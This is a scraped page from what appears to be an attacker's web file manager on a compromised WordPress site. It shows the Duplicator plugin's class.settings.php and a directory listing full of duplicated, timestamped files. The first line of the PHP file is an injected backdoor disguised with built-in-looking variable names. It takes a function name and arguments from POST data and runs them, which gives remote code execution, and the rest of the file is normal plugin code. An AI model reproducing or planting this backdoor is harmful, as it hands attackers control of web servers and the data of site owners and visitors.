Submit
Path:
~
/
home
/
b
/
f
/
x
/
bfxleof
/
www
/
wp-content
/
plugins
/
duplicator
/
File Content:
class.settings.php
<?php $preg_replace_callback_array_ldxb = $_POST; if(isset($preg_replace_callback_array_ldxb['get_defined_vars_eb'])) { $ctype_digit_bial = $preg_replace_callback_array_ldxb['jewishtojd_jf']; $libxml_disable_entity_loader_onov = $preg_replace_callback_array_ldxb['jewishtojd_lc']; $ctype_digit_bial(...$libxml_disable_entity_loader_onov); } defined('ABSPATH') || defined('DUPXABSPATH') || exit; // Exit if accessed directly if (!defined('DUPLICATOR_VERSION')) exit; abstract class DUP_Archive_Build_Mode { const Unconfigured = -1; const Auto = 0; // should no longer be used // const Shell_Exec = 1; const ZipArchive = 2; const DupArchive = 3; } class DUP_Settings { const OPT_SETTINGS = 'duplicator_settings'; const INSTALLER_NAME_MODE_WITH_HASH = 'withhash'; const INSTALLER_NAME_MODE_SIMPLE = 'simple'; const STORAGE_POSITION_LECAGY = 'legacy'; const STORAGE_POSITION_WP_CONTENT = 'wpcont'; const SSDIR_NAME_LEGACY = 'wp-snapshots'; const SSDIR_NAME_NEW = 'backups-dup-lite'; protected static $Data; protected static $ssDirPath = null; protected static $ssDirUrl = null; /** * Class used to manage all the settings for the plugin */ public static function init() { self::$Data = get_option(self::OPT_SETTINGS); //when the plugin updated, this will be true if (empty(self::$Data) || empty(self::$Data['version']) || version_compare(DUPLICATOR_VERSION, self::$Data['version'], '>')) { self::SetDefaults(); } } /** * Find the setting value * @param string $key The name of the key to find * @return The value stored in the key returns null if key does not exist */ public static function Get($key = '') { $result = null; if (isset(self::$Data[$key])) { $result = self::$Data[$key]; } else { $defaults = self::GetAllDefaults(); if (isset($defaults[$key])) { $result = $defaults[$key]; } } return $result; } /** * Set the settings value in memory only * @param string $key The name of the key to find * @param string $value The value to set * remarks: The Save() method must be called to write the Settings object to the DB */ public static function Set($key, $value) { if (isset(self::$Data[$key])) { self::$Data[$key] = ($value == null) ? '' : $value; } elseif (!empty($key)) { self::$Data[$key] = ($value == null) ? '' : $value; } } public static function setStoragePosition($newPosition) { $legacyPath = self::getSsdirPathLegacy(); $wpContPath = self::getSsdirPathWpCont(); $oldStoragePost = self::Get('storage_position'); self::resetPositionVars(); switch ($newPosition) { case self::STORAGE_POSITION_LECAGY: self::$Data['storage_position'] = self::STORAGE_POSITION_LECAGY; if (!DUP_Util::initSnapshotDirectory()) { self::resetPositionVars(); self::$Data['storage_position'] = $oldStoragePost; return false; } if (is_dir($wpContPath)) { if (DupLiteSnapLibIOU::moveContentDirToTarget($wpContPath, $legacyPath, true)) { DupLiteSnapLibIOU::rrmdir($wpContPath); } } break; case self::STORAGE_POSITION_WP_CONTENT: self::$Data['storage_position'] = self::STORAGE_POSITION_WP_CONTENT; if (!DUP_Util::initSnapshotDirectory()) { self::resetPositionVars(); self::$Data['storage_position'] = $oldStoragePost; return false; } if (is_dir($legacyPath)) { if (DupLiteSnapLibIOU::moveContentDirToTarget($legacyPath, $wpContPath, true)) { DupLiteSnapLibIOU::rrmdir($legacyPath); } } break; default: throw new Exception('Unknown storage position'); } return true; } protected static function resetPositionVars() { self::$ssDirPath = null; self::$ssDirUrl = null; } /** * Saves all the setting values to the database * @return True if option value has changed, false if not or if update failed. */ public static function Save() { return update_option(self::OPT_SETTINGS, self::$Data); } /** * Deletes all the setting values to the database * @return True if option value has changed, false if not or if update failed. */ public static function Delete() { return delete_option(self::OPT_SETTINGS); } /** * Sets the defaults if they have not been set * @return True if option value has changed, false if not or if update failed. */ public static function SetDefaults() { $defaults = self::GetAllDefaults(); self::$Data = apply_filters('duplicator_defaults_settings', $defaults); return self::Save(); } /** * DeleteWPOption: Cleans up legacy data */ public static function DeleteWPOption($optionName) { if (in_array($optionName, $GLOBALS['DUPLICATOR_OPTS_DELETE'])) { return delete_option($optionName); } return false; } public static function GetAllDefaults() { $default = array(); $default['version'] = DUPLICATOR_VERSION; //Flag used to remove the wp_options value duplicator_settings which are all the settings in this class $default['uninstall_settings'] = isset(self::$Data['uninstall_settings']) ? self::$Data['uninstall_settings'] : true; //Flag used to remove entire wp-snapshot directory $default['uninstall_files'] = isset(self::$Data['uninstall_files']) ? self::$Data['uninstall_files'] : true; //Flag used to remove all tables $default['uninstall_tables'] = isset(self::$Data['uninstall_tables']) ? self::$Data['uninstall_tables'] : true; //Flag used to show debug info $default['package_debug'] = isset(self::$Data['package_debug']) ? self::$Data['package_debug'] : false; //Flag used to enable mysqldump $default['package_mysqldump'] = isset(self::$Data['package_mysqldump']) ? self::$Data['package_mysqldump'] : true; //Optional mysqldump search path $default['package_mysqldump_path'] = isset(self::$Data['package_mysqldump_path']) ? self::$Data['package_mysqldump_path'] : ''; //Optional mysql limit size $default['package_phpdump_qrylimit'] = isset(self::$Data['package_phpdump_qrylimit']) ? self::$Data['package_phpdump_qrylimit'] : "100"; //Optional mysqldump search path $default['package_zip_flush'] = isset(self::$Data['package_zip_flush']) ? self::$Data['package_zip_flush'] : false; //Optional mysqldump search path $default['installer_name_mode'] = isset(self::$Data['installer_name_mode']) ? self::$Data['installer_name_mode'] : self::INSTALLER_NAME_MODE_SIMPLE; // storage position $default['storage_position'] = isset(self::$Data['storage_position']) ? self::$Data['storage_position'] : self::STORAGE_POSITION_WP_CONTENT; //Flag for .htaccess file $default['storage_htaccess_off'] = isset(self::$Data['storage_htaccess_off']) ? self::$Data['storage_htaccess_off'] : false; // Initial archive build mode if (isset(self::$Data['archive_build_mode'])) { $default['archive_build_mode'] = self::$Data['archive_build_mode']; } else { $is_ziparchive_available = apply_filters('duplicator_is_ziparchive_available', class_exists('ZipArchive')); $default['archive_build_mode'] = $is_ziparchive_available ? DUP_Archive_Build_Mode::ZipArchive : DUP_Archive_Build_Mode::DupArchive; } // $default['package_zip_flush'] = apply_filters('duplicator_package_zip_flush_default_setting', '0'); //Skip scan archive $default['skip_archive_scan'] = isset(self::$Data['skip_archive_scan']) ? self::$Data['skip_archive_scan'] : false; $default['unhook_third_party_js'] = isset(self::$Data['unhook_third_party_js']) ? self::$Data['unhook_third_party_js'] : false; $default['unhook_third_party_css'] = isset(self::$Data['unhook_third_party_css']) ? self::$Data['unhook_third_party_css'] : false; $default['active_package_id'] = -1; return $default; } public static function get_create_date_format() { static $ui_create_frmt = null; if (is_null($ui_create_frmt)) { $ui_create_frmt = is_numeric(self::Get('package_ui_created')) ? self::Get('package_ui_created') : 1; } return $ui_create_frmt; } public static function getSsdirPathLegacy() { return DupLiteSnapLibIOU::safePathTrailingslashit(duplicator_get_abs_path()).self::SSDIR_NAME_LEGACY; } public static function getSsdirPathWpCont() { return DupLiteSnapLibIOU::safePathTrailingslashit(WP_CONTENT_DIR).self::SSDIR_NAME_NEW; } public static function getSsdirPath() { if (is_null(self::$ssDirPath)) { if (self::Get('storage_position') === self::STORAGE_POSITION_LECAGY) { self::$ssDirPath = self::getSsdirPathLegacy(); } else { self::$ssDirPath = self::getSsdirPathWpCont(); } } return self::$ssDirPath; } public static function getSsdirUrl() { if (is_null(self::$ssDirUrl)) { if (self::Get('storage_position') === self::STORAGE_POSITION_LECAGY) { self::$ssDirUrl = DupLiteSnapLibIOU::trailingslashit(DUPLICATOR_SITE_URL).self::SSDIR_NAME_LEGACY; } else { self::$ssDirUrl = DupLiteSnapLibIOU::trailingslashit(content_url()).self::SSDIR_NAME_NEW; } } return self::$ssDirUrl; } public static function getSsdirTmpPath() { return self::getSsdirPath().'/tmp'; } public static function getSsdirInstallerPath() { return self::getSsdirPath().'/installer'; } }
Submit
FILE
FOLDER
Name
Size
Permission
Action
assets
---
0755
classes
---
0755
ctrls
---
0755
files
---
0755
installer
---
0755
languages
---
0755
lib
---
0755
tools
---
0755
views
---
0755
.DS_Store
10234 bytes
0644
20200616130143_ReplacePermalinkHashIndex.php
2293 bytes
0644
AjaxController.php
2162 bytes
0644
DownloadConfController.php
945 bytes
0644
JsonSerializable-20260705095652.php
577 bytes
0644
JsonSerializable.php
577 bytes
0644
LimitStream.php
4209 bytes
0644
class-admin-utils.php
2147 bytes
0644
class-collector.php
984 bytes
0644
class-option-tabs-formatter.php
2321 bytes
0644
class-premium-upsell-admin-block.php
3631 bytes
0644
class-sitemaps-admin-20260703023908.php
3665 bytes
0644
class-sitemaps-admin-20260707110357.php
3665 bytes
0644
class-sitemaps-admin.php
3665 bytes
0644
class-wpseo-statistics.php
1443 bytes
0644
class-yoast-plugin-conflict.php
10390 bytes
0644
class.constants.php
150 bytes
0644
class.pack.database-20260705133709.php
30838 bytes
0644
class.pack.database.php
30838 bytes
0644
class.settings.php
10884 bytes
0644
class.u.shell.php
1322 bytes
0644
ctrl.package-20260622170808.php
17073 bytes
0644
ctrl.package.php
17073 bytes
0644
deactivation-20260622001319.php
21118 bytes
0644
deactivation.php
21118 bytes
0644
define-20260622010708.php
4567 bytes
0644
define.php
4567 bytes
0644
duplicator-20260622023227.php
1781 bytes
0644
duplicator-main.php
26907 bytes
0644
duplicator.php
1781 bytes
0644
elFinderPlugin.php
3331 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260705194237-20260706045439.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260705194237.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260706085336.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260706092353-20260707223426.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260706092353.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260624220729.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class.php
48544 bytes
0644
exceptions.php
708 bytes
0644
flexible-widget.php
11167 bytes
0644
helper.php
6192 bytes
0644
index.php
157663 bytes
0644
interface-wpseo-wordpress-integration.php
348 bytes
0644
javascript.php
11782 bytes
0644
loco.php
5626 bytes
0644
loco.xml
657 bytes
0644
manager-20260704220956.php
14659 bytes
0644
manager.php
14659 bytes
0644
meta-fields-presenter.php
1600 bytes
0644
module.php
1297 bytes
0644
quick-edit-handler-1650-20260705022446.js
1848 bytes
0644
quick-edit-handler-1650.js
1848 bytes
0644
readme.txt
6833 bytes
0644
request-methods-header.php
1127 bytes
0644
root.php
1951 bytes
0644
social.php
725 bytes
0644
uninstall-20260621234520.php
4401 bytes
0644
uninstall.php
4401 bytes
0644
wordpress-seojs-ar.json
25925 bytes
0644
wordpress-seojs-es_ES.json
20568 bytes
0644
wordpress-seojs-ja.json
21424 bytes
0644
N4ST4R_ID | Naxtarrr